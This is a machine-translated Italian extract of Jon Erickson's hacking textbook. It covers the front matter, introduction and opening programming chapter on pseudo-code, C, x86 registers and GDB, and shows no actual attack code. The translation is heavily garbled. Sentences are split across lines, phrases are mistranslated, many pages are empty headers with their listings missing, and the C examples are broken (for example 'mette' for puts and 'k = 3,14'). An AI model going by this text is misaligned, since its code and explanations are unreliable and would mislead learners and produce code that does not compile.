Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
Testo originale
Contribuisci a una traduzione migliore
NSIDE
H ITION
ACKIN 2 ° EDIZIO
G
T
H
E
UN
R
T
HACKIN
L'ARTE DELLO SFRUTTA
O
F
E
X
P
LO
ITA JON ERICK
T
IO
N
KSON
Pagina 3
2
“Il tutorial più completo sulle tecniche di hacking. Finalmente un libro che non lo fa
mostra solo come utilizzare gli exploit ma come svilupparli. "
- PHRACK
"Il libro di Erickson, una guida compatta e senza fronzoli per hacker inesperti,
è pieno di codice reale e tecniche di hacking e spiegazioni su come
lavorano."
- RIVISTA UTENTE ( CPU ) ALIMENTAZIONE DEL COMPUTER
"Questo libro è eccellente. Coloro che sono pronti a passare a [il prossimo
livello] dovrebbe prendere questo libro e leggerlo attentamente. "
- CHI . COM INTERNET / SICUREZZA DELLA RETE
Pagina 5
4
San Francisco
Pagina 6
Tutti i diritti riservati. Nessuna parte di questo lavoro può essere riprodotta o trasmessa in qualsiasi forma o con qualsiasi mezzo, elettronico o
meccanico, inclusa la fotocopia, la registrazione o qualsiasi sistema di archiviazione o recupero delle informazioni, senza previa autorizzazione
autorizzazione scritta del proprietario del copyright e dell'editore.
11 10 09 08 07 123456789
ISBN-10: 1-59327-144-1
ISBN-13: 978-1-59327-144-2
Per informazioni sui distributori di libri o sulle traduzioni, contattare direttamente No Starch Press, Inc.:
No Starch Press e il logo No Starch Press sono marchi registrati di No Starch Press, Inc. Altri prodotti e
i nomi delle società qui menzionati possono essere marchi dei rispettivi proprietari. Piuttosto che utilizzare un marchio
simbolo con ogni occorrenza di un nome di marchio registrato, stiamo usando i nomi solo in modo editoriale e per il
vantaggio del titolare del marchio, senza alcuna intenzione di contraffazione del marchio.
Le informazioni in questo libro vengono distribuite "così come sono", senza garanzia.Mentre ogni precauzione è stata
presi nella preparazione di questo lavoro, né l'autore né No Starch Press, Inc. avranno alcuna responsabilità nei confronti di alcuno
persona o entità in relazione a qualsiasi perdita o danno causato o presumibilmente causato direttamente o indirettamente da
informazioni in esso contenute.
Pagina 7
BREVE CONTENUTO
Pagina 9
8
CONTENUTI IN DETTAGLIO
PREFAZIONE xi
RICONOSCIMENTI xii
0x100 INTRODUZIONE 1
PROGRAMMAZIONE 0x200 5
0x210 Che cos'è la programmazione? .................................................. ............................... 6
0x220 Pseudo-codice .............................................. .................................................. 7
0x230 Strutture di controllo ............................................... .......................................... 8
0x231 If-Then-Else ............................................ .......................................... 8
0x232 Cicli While / Until ............................................. .............................. 9
0x233 Per loop ............................................... ...................................... 10
0x240 Altri concetti fondamentali di programmazione ............................................. ...... 11
0x241 Variabili ................................................ ..................................... 11
0x242 Operatori aritmetici ............................................... ...................... 12
0x243 Operatori di confronto ............................................... ................... 14
0x244 Funzioni ................................................ ...................................... 16
0x250 Sporcarsi le mani ............................................. ............................... 19
0x251 L'immagine più grande .............................................. ........................... 20
0x252 Il processore x 86 ............................................. ........................... 23
0x253 Linguaggio assembly ............................................... ........................ 25
0x260 Ritorno alle origini .............................................. .............................................. 37
0x261 Stringhe ................................................ ......................................... 38
0x262 Signed, Unsigned, Long e Short ......................................... ........ 41
0x263 Puntatori ................................................ ....................................... 43
Stringhe di formato 0x264 ............................................... ................................ 48
0x265 Typecasting ................................................ .................................. 51
0x266 Argomenti della riga di comando ............................................. ................. 58
0x267 Ambito variabile ............................................... ........................... 62
0x270 Segmentazione della memoria ............................................... ................................. 69
0x271 Segmenti di memoria in C ............................................. ..................... 75
0x272 Uso dell'heap .............................................. ............................... 77
0x273 malloc controllato da errori () ........................................... ........................ 80
0x280 Costruire sulle basi .............................................. ........................................ 81
0x281 Accesso ai file ............................................... .................................... 81
0x282 Autorizzazioni file ............................................... .............................. 87
0x283 ID utente ............................................... ........................................ 88
0x284 Structs ................................................ .......................................... 96
0x285 Puntatori a funzione ............................................... .......................... 100
0x286 Numeri pseudo-casuali ............................................. ................ 101
0x287 Un gioco d'azzardo ............................................. ........................ 102
Pagina 10
Pagina 11
Scansione della porta 0x470 ............................................... ........................................... 264
0x471 Stealth SYN Scan .............................................. .......................... 264
0x472 FIN, X-mas e Null Scans ........................................ .................. 264
0x473 Spoofing Decoys ............................................... .......................... 265
0x474 Scansione inattiva ............................................... ............................... 265
0x475 Difesa proattiva (velo) ............................................ ............... 267
0x480 Raggiungi e hackera qualcuno ............................................ ...................... 272
0x481 Analisi con GDB .............................................. ......................... 273
0x482 Conta quasi solo con le bombe a mano ...................................... 275
Codice shell binding porta 0x483 ............................................. .................... 278
Contenuti in dettaglio ix
Pagina 12
X Contenuti in dettaglio
Pagina 13
PREFAZIONE
Pagina 14
RICONOSCIMENTI
Pagina 15
0x100 INTRODUZIONE
Pagina 16
2 0x100
Pagina 17
introduzione 3
Pagina 18
crittografia eccessivamente semplicistica nel software Adobe e ha presentato le sue scoperte a un
convenzione degli hacker negli Stati Uniti. L'FBI è intervenuta e arrestata
lui, portando a una lunga battaglia legale. Secondo la legge, la complessità del
i controlli dei consumatori del settore non hanno importanza: sarebbe tecnicamente illegale
eseguire il reverse engineering o persino discutere di Pig Latin se fosse usato come
controllo estivo. Chi sono gli hacker e chi sono i cracker adesso? quando
le leggi sembrano interferire con la libertà di parola, fanno i bravi ragazzi che parlano la loro
le menti improvvisamente diventano cattive? Credo che lo spirito dell'hacker trascenda
leggi governative, invece di essere definite da esse.
Le scienze della fisica nucleare e della biochimica possono essere usate per uccidere,
eppure ci forniscono anche un progresso scientifico significativo e moderno
medicinale. Non c'è niente di buono o di cattivo nella conoscenza stessa; la moralità si trova
nell'applicazione della conoscenza. Anche se volessimo, non potremmo reprimerlo
la conoscenza di come convertire la materia in energia o fermare il continuo
progresso tecnologico della società. Allo stesso modo, lo spirito hacker può farlo
non può mai essere interrotto, né può essere facilmente classificato o sezionato. Gli hacker lo faranno
spingere costantemente i limiti della conoscenza e del comportamento accettabile,
costringendoci a esplorare sempre di più.
Parte di questa spinta si traduce in una co-evoluzione definitiva di
sicurezza attraverso la concorrenza tra hacker attaccanti e difesa
hacker. Proprio come la veloce gazzella si è adattata dall'essere inseguita dal ghepardo,
e il ghepardo è diventato ancora più veloce dall'inseguire la gazzella, la
L'azione tra hacker fornisce agli utenti di computer risorse migliori e più forti
sicurezza, nonché tecniche di attacco più complesse e sofisticate. Il
l'introduzione e la progressione dei sistemi di rilevamento delle intrusioni (IDS) è un aspetto fondamentale
esempio di questo processo co-evolutivo. Gli hacker in difesa creano IDS
da aggiungere al loro arsenale, mentre gli hacker attaccanti sviluppano l'evasione dell'IDS
tecniche, che alla fine vengono compensate in IDS più grandi e migliori
prodotti. Il risultato netto di questa interazione è positivo, in quanto produce più smart
persone, maggiore sicurezza, software più stabile, risoluzione dei problemi inventiva
tecniche e persino una nuova economia.
L'intento di questo libro è insegnarti il vero spirito dell'hacking.
Esamineremo varie tecniche di hacker, dal passato al presente,
sezionandoli per imparare come e perché funzionano. Incluso in questo libro è
un LiveCD avviabile contenente tutto il codice sorgente utilizzato nel presente documento nonché un file
ambiente Linux preconfigurato. L'esplorazione e l'innovazione sono fondamentali
all'arte dell'hacking, quindi questo CD ti permetterà di seguire e sperimentare
il tuo. L'unico requisito è un processore x 86, che viene utilizzato da tutti
Macchine Microsoft Windows e computer Macintosh più recenti, semplicemente
inserire il CD e riavviare. Questo ambiente Linux alternativo non disturberà
il tuo sistema operativo esistente, quindi quando hai finito, riavvia di nuovo e rimuovi il CD.
In questo modo, acquisirai una comprensione e un apprezzamento pratico per l'hacking
che potrebbe ispirarti a migliorare le tecniche esistenti o persino a inventare
nuovi. Si spera che questo libro stimoli la curiosa natura hacker in te
e ti spinge a contribuire all'arte dell'hacking in qualche modo, a prescindere
su quale lato del recinto scegli di stare.
4 0x100
Pagina 19
0x200 PROGRAMMAZIONE
Hacker è un termine sia per coloro che scrivono codice che per
chi lo sfrutta. Anche se questi due gruppi di
gli hacker hanno obiettivi finali diversi, entrambi i gruppi usano simili
tecniche di risoluzione dei problemi. Dal momento che una comprensione
della programmazione aiuta coloro che sfruttano e un
la condizione di sfruttamento aiuta coloro che programmano, molti
gli hacker fanno entrambe le cose. Ci sono hack interessanti trovati in entrambe le tecniche
utilizzato per scrivere codice elegante e le tecniche utilizzate per sfruttare i programmi.
L'hacking è in realtà solo l'atto di trovare un intelligente e controintuitivo
soluzione a un problema.
Gli hack trovati negli exploit del programma di solito usano le regole del
computer per aggirare la sicurezza in modi mai previsti. Gli hack di programmazione sono
simili in quanto usano anche le regole del computer in modo nuovo e inventivo
modi, ma l'obiettivo finale è l'efficienza o un codice sorgente più piccolo, non necessariamente a
compromissione della sicurezza. In realtà ci sono un numero infinito di programmi che
Pagina 20
possono essere scritti per svolgere qualsiasi compito, ma la maggior parte di queste soluzioni lo sono
inutilmente grande, complesso e sciatto. Le poche soluzioni che rimangono
sono piccoli, efficienti e ordinati. Si dice che i programmi che hanno queste qualità
hanno l' eleganza e le soluzioni intelligenti e inventive che tendono a portare a
questa efficienza è chiamata hack . Hacker su entrambi i lati della programmazione
apprezzare sia la bellezza di un codice elegante che l'ingegnosità di hack intelligenti.
Nel mondo degli affari, viene attribuita maggiore importanza allo sfornare le funzioni
codice nazionale che sul raggiungimento di hack intelligenti ed eleganza. A causa del
enorme crescita esponenziale della potenza computazionale e della memoria,
spendendo cinque ore in più per creare una memoria leggermente più veloce e più
un pezzo di codice efficiente non ha senso per gli affari quando si tratta di
computer moderni che hanno gigahertz di cicli di elaborazione e gigabyte di
memoria. Mentre le ottimizzazioni di tempo e memoria vanno senza preavviso da parte di tutti
il più sofisticato degli utenti, una nuova funzionalità è commerciabile. Quando il
la linea di fondo è denaro, spendere tempo su hack intelligenti solo per l'ottimizzazione
non ha senso.
Il vero apprezzamento dell'eleganza della programmazione è lasciato agli hacker:
hobbisti di computer il cui obiettivo finale non è realizzare un profitto ma spremere
ogni possibile bit di funzionalità dal loro vecchio Commodore 64, sfrutta
scrittori che hanno bisogno di scrivere piccoli e sorprendenti pezzi di codice da leggere
crepe di sicurezza strette e chiunque altro apprezzi l'inseguimento e il
sfida di trovare la migliore soluzione possibile. Queste sono le persone che ottengono
entusiasta della programmazione e apprezzo davvero la bellezza di un elegante
pezzo di codice o l'ingegnosità di un trucco intelligente. Dal momento che una comprensione di
la programmazione è un prerequisito per capire come possono essere i programmi
sfruttato, la programmazione è un punto di partenza naturale.
Inizia lungo Main Street in direzione est. Continua su Main Street finché non vedi
una chiesa alla tua destra. Se la strada è bloccata a causa di lavori in corso, svolta
a destra in 15th Street, svoltare a sinistra in Pine Street, quindi svoltare a destra
16th Street. Altrimenti, puoi semplicemente continuare e girare a destra sulla 16th Street.
Continua su 16th Street e svolta a sinistra in Destination Road. Prosegui dritto
lungo Destination Road per 5 miglia, e poi vedrai la casa sulla destra.
L'indirizzo è 743 Destination Road.
6 0x200
Pagina 21
0x220 Pseudo-codice
I programmatori hanno ancora un'altra forma di linguaggio di programmazione chiamato
pseudo-codice. Lo pseudo-codice è semplicemente inglese organizzato con una struttura generale
simile a un linguaggio di alto livello. Non è compreso da compilatori, assemblatori,
o qualsiasi computer, ma è un modo utile per un programmatore di organizzare le istruzioni
zioni. Lo pseudo-codice non è ben definito; infatti, la maggior parte delle persone scrive pseudo-codice
leggermente diverso. È una sorta di nebuloso collegamento mancante tra inglese e
linguaggi di programmazione di alto livello come C. Lo pseudo-codice è un eccellente
ha fornito un'introduzione ai concetti comuni di programmazione universale.
Programmazione 7
Pagina 22
0x231 If-Then-Else
Nel caso delle nostre indicazioni stradali, Main Street potrebbe essere in costruzione.
Se lo è, una serie speciale di istruzioni deve affrontare quella situazione. Altrimenti,
seguire il set originale di istruzioni. Questi tipi di casi speciali
può essere rappresentato in un programma con uno dei controlli più naturali
strutture: la struttura if-then-else . In generale, assomiglia a questo:
Se (condizione) allora
{
Insieme di istruzioni da eseguire se la condizione è soddisfatta;
}
Altro
{
Insieme di istruzioni da eseguire se la condizione non è soddisfatta;
}
Per questo libro, verrà utilizzato uno pseudo-codice simile al C, quindi ogni istruzione lo farà
terminare con un punto e virgola e le serie di istruzioni verranno raggruppate con ricci
parentesi graffe e rientranza. La struttura dello pseudo-codice if-then-else del pre-
cedere le indicazioni stradali potrebbe essere simile a questo:
8 0x200
Pagina 23
Ovviamente, altri linguaggi richiedono la parola chiave then nella loro sintassi—
BASIC, Fortran e persino Pascal, per esempio. Questi tipi di sintattici
le differenze nei linguaggi di programmazione sono solo superficiali; il sottostante
la struttura è sempre la stessa. Una volta che un programmatore comprende i concetti
questi linguaggi stanno cercando di trasmettere, imparando le varie variabili sintattiche
azioni è abbastanza banale. Poiché C verrà utilizzato nelle sezioni successive, lo pseudo-
il codice usato in questo libro seguirà una sintassi simile al C, ma ricordatelo
lo pseudo-codice può assumere molte forme.
Un'altra regola comune della sintassi C-like è quando un insieme di istruzioni
delimitato da parentesi graffe consiste in una sola istruzione, le parentesi graffe sono
opzionale. Per motivi di leggibilità, è comunque una buona idea farli rientrare
istruzioni, ma non è sintatticamente necessario. Le indicazioni stradali da
before può essere riscritto seguendo questa regola per produrre un pezzo equivalente di
pseudo-codice:
Programmazione 9
Pagina 24
perché non continui all'infinito. Un ciclo while dice di eseguire il seguente insieme di
istruzioni in un ciclo mentre una condizione è vera. Un semplice programma per affamati
il mouse potrebbe assomigliare a questo:
Per (5 iterazioni)
Prosegui dritto per 1 miglio;
In realtà, un ciclo for è solo un ciclo while con un contatore. Lo stesso stato
ment può essere scritto come tale:
Imposta il contatore a 0;
Mentre (il contatore è inferiore a 5)
10 0x200
Pagina 25
{
Prosegui dritto per 1 miglio;
Aggiungi 1 al contatore;
}
0x241 Variabili
Il contatore utilizzato nel ciclo for è in realtà un tipo di variabile. Una variabile può
essere semplicemente pensato come un oggetto che contiene dati che possono essere modificati -
da qui il nome. Ci sono anche variabili che non cambiano, che sono giustamente
Programmazione 11
Pagina 26
int a, b;
float k;
char z;
Le variabili a e b sono ora definiti come numeri interi, k possono accettare floating
valori in punti (come 3.14) e z dovrebbe contenere un valore di carattere, come A
o w . Alle variabili possono essere assegnati valori quando vengono dichiarate o in qualsiasi momento
in seguito, utilizzando l' operatore = .
int a = 13, b;
float k;
char z = 'A';
k = 3,14;
z = 'w';
b = a + 5;
12 0x200
Pagina 27
Aggiunta + b=a+5
Sottrazione - b=a-5
Moltiplicazione * b=a*5
Divisione / b=a/5
Riduzione modulo% b = a% 5
Per fare in modo che un programma utilizzi questi concetti, è necessario parlare la sua lingua. Il
Il linguaggio C fornisce anche diverse forme di abbreviazione per queste operazioni aritmetiche
azioni. Uno di questi è stato menzionato in precedenza ed è usato comunemente nei cicli for.
Queste espressioni stenografiche possono essere combinate con altre operazioni aritmetiche
operazioni per produrre espressioni più complesse. È qui che le differenze
diventa evidente tra i ++ e ++ i . La prima espressione significa
Incrementa il valore di i di 1 dopo aver valutato l'operazione aritmetica , mentre il
seconda espressione significa Incrementa il valore di i di 1 prima di valutare il
operazione aritmetica . Il seguente esempio aiuterà a chiarire.
int a, b;
a = 5;
b = a ++ * 6;
b = a * 6;
a = a + 1;
a = a + 1;
b = a * 6;
Programmazione 13
Pagina 28
Molto spesso nei programmi, le variabili devono essere modificate sul posto. Per
Ad esempio, potresti dover aggiungere un valore arbitrario come 12 a una variabile e
memorizzare il risultato di nuovo in quella variabile (ad esempio, i = i + 12 ). Questo
accade abbastanza comunemente che esiste anche una stenografia per questo.
Uguale a == (a == b)
La maggior parte di questi operatori si spiega da sé; si noti tuttavia che il file
la stenografia per uguale a usa il doppio segno di uguale. Questa è una distinzione importante
zione, poiché il doppio segno di uguale viene utilizzato per testare l'equivalenza, mentre il singolo
il segno di uguale viene utilizzato per assegnare un valore a una variabile. L'affermazione a = 7 significa
Metti il valore 7 nella variabile a , mentre a == 7 significa Controlla per vedere se la variabile
a è uguale a 7 . (Alcuni linguaggi di programmazione come Pascal usano effettivamente : = for
assegnazione variabile per eliminare la confusione visiva.) Inoltre, notare che un file
punto esclamativo generalmente significa no . Questo simbolo può essere utilizzato da solo per
invertire qualsiasi espressione.
14 0x200
Pagina 29
Mentre (affamato == 1)
{
Trova del cibo;
Mangia il cibo;
}
Mentre (affamato)
{
Trova del cibo;
Mangia il cibo;
}
Un programma per il mouse più intelligente con più input dimostra come confrontare
gli operatori figlio possono essere combinati con le variabili.
Questo esempio presuppone che ci siano anche variabili che descrivono la presenza
di un gatto e la posizione del cibo, con un valore di 1 per vero e 0 per falso.
Ricorda solo che qualsiasi valore diverso da zero è considerato vero e il valore 0
è considerato falso.
Programmazione 15
Pagina 30
Funzioni 0x244
A volte ci sarà una serie di istruzioni che il programmatore sa che farà
bisogno più volte. Queste istruzioni possono essere raggruppate in una
programma chiamato funzione . In altre lingue, le funzioni sono note come sub-
routine o procedure. Ad esempio, l'azione di trasformare un'auto in realtà
consiste in molte istruzioni più piccole: accendi il lampeggiante appropriato, lentamente
verso il basso, verificare la presenza di traffico in arrivo, girare il volante in modo appropriato
direzione e così via. Le indicazioni stradali dall'inizio di questo capitolo
occorrono parecchi giri; tuttavia, elencando ogni piccola istruzione per ogni
sarebbe noioso (e meno leggibile). Puoi passare variabili come argomenti
a una funzione per modificare il modo in cui opera la funzione. In questo caso,
la funzione è passata alla direzione della svolta.
Questa funzione descrive tutte le istruzioni necessarie per effettuare una svolta. quando
un programma che conosce questa funzione deve essere attivato, può semplicemente chiamarlo
funzione. Quando la funzione viene chiamata, le istruzioni che si trovano al suo interno sono
eseguito con gli argomenti passati ad esso; in seguito, l'esecuzione torna a
dove si trovava nel programma, dopo la chiamata alla funzione. Può la sinistra o la destra
essere passato in questa funzione, che fa sì che la funzione si trasformi in quella
direzione.
Per impostazione predefinita in C, le funzioni possono restituire un valore a un chiamante. Per coloro
familiarità con le funzioni in matematica, questo ha perfettamente senso. Immagina un file
funzione che calcola il fattoriale di un numero, naturalmente restituisce
risultato.
In C, le funzioni non sono etichettate con una parola chiave "funzione"; invece, loro
sono dichiarati dal tipo di dati della variabile che stanno restituendo. Questo formato
sembra molto simile alla dichiarazione delle variabili. Se una funzione deve restituire un file
16 0x200
Pagina 31
Questa funzione è dichiarata come un numero intero perché moltiplica ogni valore
da 1 a x e restituisce il risultato, che è un numero intero. La dichiarazione di ritorno
alla fine della funzione restituisce il contenuto della variabile x e termina
la funzione. Questa funzione fattoriale può quindi essere utilizzata come una variabile intera
nella parte principale di qualsiasi programma che lo sappia.
int a = 5, b;
b = fattoriale (a);
Programmazione 17
Pagina 32
18 0x200
Pagina 33
firstprog.c
#include <stdio.h>
int main ()
{
int i;
for (i = 0; i <10; i ++) // Ripeti 10 volte.
{
mette ("Ciao, mondo! \ n"); // inserisce la stringa nell'output.
}
return 0; // Indica al sistema operativo che il programma è stato chiuso senza errori.
}
Programmazione 19
Pagina 34
libreria, è necessario un prototipo di funzione per printf () prima che possa essere utilizzato.
Questo prototipo di funzione (insieme a molti altri) è incluso in stdio.h
file di intestazione. Gran parte della potenza di C deriva dalla sua estensibilità e dalle librerie.
Il resto del codice dovrebbe avere senso e assomigliare molto allo pseudo-codice
da prima. Potresti anche aver notato che c'è una serie di parentesi graffe che
può essere eliminato. Dovrebbe essere abbastanza ovvio cosa farà questo programma, ma
compiliamolo usando GCC ed eseguiamolo solo per essere sicuri.
La GNU Compiler Collection (GCC) è un compilatore C gratuito che traduce C
in un linguaggio macchina comprensibile da un processore. Il trans-
lation è un file binario eseguibile, chiamato per impostazione predefinita a.out . Fa il
programma compilato fare quello che pensavi che sarebbe?
20 0x200
Pagina 35
Programmazione 21
Pagina 36
Come una fila di case in una strada locale, ognuna con il proprio indirizzo, la propria memoria
può essere pensato come una riga di byte, ciascuno con il proprio indirizzo di memoria. Ogni
è possibile accedere al byte di memoria tramite il suo indirizzo, e in questo caso la CPU
accede a questa parte della memoria per recuperare le istruzioni in linguaggio macchina
che compongono il programma compilato. I vecchi processori Intel x 86 utilizzano un 32 bit
schema di indirizzamento, mentre quelli più recenti ne usano uno a 64 bit. I processori a 32 bit
hanno 2 32 (o 4.294.967.296) indirizzi possibili, mentre quelli a 64 bit ne hanno 2 64
(1.84467441 × 10 19 ) indirizzi possibili. I processori a 64 bit possono essere eseguiti in
Modalità di compatibilità a 32 bit, che consente loro di eseguire rapidamente codice a 32 bit.
I byte esadecimali al centro dell'elenco sopra sono la macchina
istruzioni in lingua per il processore x 86. Ovviamente questi valori esadecimali
sono solo rappresentazioni dei byte di 1 e 0 binari che la CPU può
In piedi. Ma dal momento che 0101010110001001111001011000001111101100111100001. . .
non è molto utile a nient'altro che al processore, il codice macchina lo è
visualizzato come byte esadecimali e ogni istruzione viene inserita su una riga separata,
come dividere un paragrafo in frasi.
A pensarci bene, i byte esadecimali non sono davvero molto utili per loro-
anche i sé: è qui che entra in gioco il linguaggio assembly. Le istruzioni su
l'estrema destra sono in linguaggio assembly. Il linguaggio Assembly è davvero solo un colore
lezione di mnemonici per le corrispondenti istruzioni in linguaggio macchina.
L'istruzione ret è molto più facile da ricordare e da dare un senso a 0xc3 o
11000011 . A differenza del C e di altri linguaggi compilati, il linguaggio assembly
hanno una relazione diretta uno a uno con la macchina corrispondente
istruzioni in lingua. Ciò significa che poiché ogni architettura del processore ha
diverse istruzioni in linguaggio macchina, ognuna ha anche una forma diversa di
linguaggio assembly. L'assembly è solo un modo per i programmatori di rappresentare il file
istruzioni in linguaggio macchina fornite al processore. Esattamente come
queste istruzioni in linguaggio macchina sono rappresentate è semplicemente una questione di
convenzione e preferenza. Sebbene tu possa teoricamente creare il tuo x 86
sintassi del linguaggio assembly, la maggior parte delle persone si attacca a uno dei due tipi principali:
Sintassi AT&T e sintassi Intel. L'assieme mostrato nell'output a pagina 2 1
è la sintassi di AT&T, poiché quasi tutti gli strumenti di disassemblaggio di Linux utilizzano questa sintassi di
predefinito. È facile riconoscere la sintassi AT&T dalla cacofonia dei simboli % e $
anteponendo tutto (guarda di nuovo l'esempio a pagina 21 ). Lo stesso
il codice può essere visualizzato nella sintassi Intel fornendo una riga di comando aggiuntiva
opzione, -M intel , a objdump , come mostrato nell'output di seguito.
22 0x200
Pagina 37
Personalmente, penso che la sintassi Intel sia molto più leggibile e facile da leggere
capire, quindi per gli scopi di questo libro, cercherò di attenermi a questa sintassi.
Indipendentemente dalla rappresentazione in linguaggio assembly, i comandi
cessor capisce sono abbastanza semplici. Queste istruzioni consistono in un'operazione
azioni e talvolta argomenti aggiuntivi che descrivono la destinazione
e / o la fonte dell'operazione. Queste operazioni spostano la memoria
intorno, eseguire una sorta di matematica di base o interrompere il processore per ottenerlo
fare qualcos'altro. Alla fine, questo è tutto ciò che un processore per computer può davvero
fare. Ma allo stesso modo milioni di libri sono stati scritti utilizzando un file relativamente
piccolo alfabeto di lettere, può essere un numero infinito di possibili programmi
creato utilizzando una raccolta relativamente piccola di istruzioni macchina.
I processori hanno anche il proprio set di variabili speciali chiamate registri . Maggior parte
delle istruzioni utilizzare questi registri per leggere o scrivere dati, quindi comprensione
i registri di un processore è essenziale per la comprensione delle istruzioni.
L'immagine più grande continua a ingrandirsi. . . .
0x252 Il processore x 86
La CPU 8086 è stata il primo processore x 86. È stato sviluppato e prodotto
da Intel, che in seguito ha sviluppato processori più avanzati nello stesso
famiglia: 80186, 80286, 80386 e 80486. Se ricordi le persone che parlano
circa 386 e 486 processori negli anni '80 e '90, ecco cosa erano
riferito a.
Il processore x 86 ha diversi registri, che sono come variabili interne
per il processore. Potrei parlare in modo astratto di questi registri ora, ma
Penso che sia sempre meglio vedere le cose di persona. Lo sviluppo GNU
gli strumenti includono anche un debugger chiamato GDB. I debugger sono usati dal programma-
mers per scorrere i programmi compilati, esaminare la memoria del programma e
visualizzare i registri del processore. Un programmatore che non ha mai usato un debugger per
guardare il funzionamento interno di un programma è come un medico del diciassettesimo secolo
chi non ha mai usato un microscopio. Simile a un microscopio, un debugger lo consente
un hacker per osservare il mondo microscopico del codice macchina, ma un debugger sì
molto più potente di quanto questa metafora consenta. A differenza di un microscopio, un debugger
può visualizzare l'esecuzione da tutte le angolazioni, metterla in pausa e modificare qualsiasi cosa
la via.
Programmazione 23
Pagina 38
Di seguito, GDB viene utilizzato per mostrare lo stato dei registri del processore subito prima
il programma si avvia.
Un punto di interruzione è impostato sulla funzione main () , quindi l'esecuzione si interromperà correttamente
prima che il nostro codice venga eseguito. Quindi GDB esegue il programma, si ferma al
breakpoint, e gli viene detto di visualizzare tutti i registri del processore e il loro file
stati attuali.
I primi quattro registri ( EAX , ECX , EDX e EBX ) sono noti come generici
registri delle finalità. Questi sono chiamati accumulatore , contatore , dati e base
registri, rispettivamente. Sono usati per una varietà di scopi, ma principalmente
agiscono come variabili temporanee per la CPU quando è in esecuzione la macchina
Istruzioni.
Anche i secondi quattro registri ( ESP , EBP , ESI e EDI ) sono generali
registri di scopo, ma a volte sono noti come puntatori e indici.
Questi stanno per Stack Pointer , Base Pointer , Source Index e Destination Index ,
rispettivamente. I primi due registri sono chiamati puntatori perché memorizzano 32 bit
indirizzi, che essenzialmente puntano a quella posizione in memoria. Questi registri
sono abbastanza importanti per l'esecuzione del programma e la gestione della memoria; noi
discuterne più tardi. Gli ultimi due registri sono anche tecnicamente puntatori,
24 0x200
Pagina 39
che sono comunemente usati per puntare all'origine e alla destinazione quando i dati
deve essere letto o scritto. Sono disponibili istruzioni per il caricamento e il salvataggio
che usano questi registri, ma per la maggior parte, questi registri possono essere pensati
come semplici registri generici.
Il registro EIP è il registro del puntatore dell'istruzione , che punta al file
istruzione corrente che il processore sta leggendo. Come un bambino che punta il dito
ad ogni parola mentre legge, il processore legge ogni istruzione usando l'EIP
registrati come il suo dito. Naturalmente, questo registro è abbastanza importante e verrà utilizzato
molto durante il debug. Attualmente, punta a un indirizzo di memoria a 0x804838a .
Il registro EFLAGS rimanente consiste in realtà di diversi flag di bit che
vengono utilizzati per confronti e segmentazioni della memoria. La memoria effettiva è
suddiviso in diversi segmenti, che verranno discussi in seguito, e questi
i registri ne tengono traccia. Per la maggior parte, questi registri possono essere ignorati
poiché raramente è necessario accedervi direttamente.
Ora che GDB è configurato per utilizzare la sintassi Intel, iniziamo a capire
esso. Le istruzioni di assemblaggio nella sintassi Intel generalmente seguono questo stile:
Programmazione 25
Pagina 40
Esistono anche operazioni che vengono utilizzate per controllare il flusso di esecuzione.
L' operazione cmp viene utilizzata per confrontare i valori e praticamente qualsiasi operazione
che inizia con j viene utilizzato per passare a una parte diversa del codice (a seconda
sul risultato del confronto). L'esempio seguente confronta prima un 4 byte
valore situato su EBP meno 4 con il numero 9. L'istruzione successiva è breve-
mano per salto se minore o uguale a , facendo riferimento al risultato del precedente
confronto. Se quel valore è minore o uguale a 9, l'esecuzione salta al file
istruzione a 0x8048393 . Altrimenti, l'esecuzione passa all'istruzione successiva
con un salto incondizionato. Se il valore non è minore o uguale a 9, exe-
cution salterà a 0x80483a6 .
Questi esempi sono stati dal nostro precedente smontaggio, e lo abbiamo fatto
il nostro debugger è configurato per utilizzare la sintassi Intel, quindi usiamo il debugger per eseguire il passaggio
attraverso il primo programma a livello di istruzione di assemblaggio.
Il flag -g può essere utilizzato dal compilatore GCC per includere un debug aggiuntivo
informazioni, che daranno a GDB l'accesso al codice sorgente.
26 0x200
Pagina 41
In primo luogo, viene elencato il codice sorgente e lo smontaggio della funzione main ()
È visualizzato. Quindi viene impostato un punto di interruzione all'inizio di main () e il programma è
correre. Questo punto di interruzione dice semplicemente al debugger di sospendere l'esecuzione di
programma quando si arriva a quel punto. Poiché il punto di interruzione è stato impostato in
inizio della funzione main () , il programma raggiunge il punto di interruzione e si ferma
prima di eseguire effettivamente qualsiasi istruzione in main () . Quindi il valore di EIP
(il puntatore dell'istruzione) viene visualizzato.
Si noti che EIP contiene un indirizzo di memoria che punta a un'istruzione in
il disassemblaggio della funzione main () (mostrato in grassetto). Le istruzioni prima di questo
(mostrato in corsivo) sono noti collettivamente come prologo della funzione e sono
erato dal compilatore per impostare la memoria per il resto delle funzioni main ()
variabili locali. Parte del motivo per cui le variabili devono essere dichiarate in C è di aiuto
la costruzione di questa sezione di codice. Il debugger conosce questa parte di
il codice viene generato automaticamente ed è abbastanza intelligente da saltarlo. Parleremo
più avanti sul prologo della funzione, ma per ora possiamo prendere spunto da
GDB e saltalo.
Il debugger GDB fornisce un metodo diretto per esaminare la memoria, utilizzando
il comando x , che è l'abbreviazione di exam . L'esame della memoria è fondamentale
abilità per qualsiasi hacker. La maggior parte degli exploit degli hacker sono molto simili ai trucchi magici: loro
sembra incredibile e magico, a meno che tu non sappia di giochi di prestigio e
sviamento. Sia nella magia che nell'hacking, se dovessi guardare nel modo giusto
spot, il trucco sarebbe ovvio. Questo è uno dei motivi per cui un buon mago
non fa mai lo stesso trucco due volte. Ma con un debugger come GDB, ogni aspetto
dell'esecuzione di un programma può essere esaminato in modo deterministico, messo in pausa, sottoposto a gradini
e ripetuto tutte le volte che è necessario. Poiché un programma in esecuzione è principalmente
solo un processore e segmenti di memoria, esaminare la memoria è il primo modo
per vedere cosa sta realmente accadendo.
Il comando e x amine in GDB può essere usato per guardare un certo indirizzo
di memoria in una varietà di modi. Questo comando prevede due argomenti quando
è usato: la posizione in memoria da esaminare e come visualizzare quella memoria.
Programmazione 27
Pagina 42
Il formato di visualizzazione utilizza anche una scorciatoia di una sola lettera, che è facoltativamente
preceduto da un conteggio del numero di elementi da esaminare. Alcuni formati comuni
le lettere sono le seguenti:
o Visualizzazione in ottale.
x Visualizzazione in esadecimale.
u Visualizzazione in decimale base 10 standard senza segno.
t Visualizza in binario.
Questi possono essere usati con il comando e x amine per esaminarne un certo
indirizzo di memoria. Nell'esempio seguente, l'indirizzo corrente dell'EIP
viene utilizzato il registro. I comandi abbreviati sono spesso usati con GDB e persino
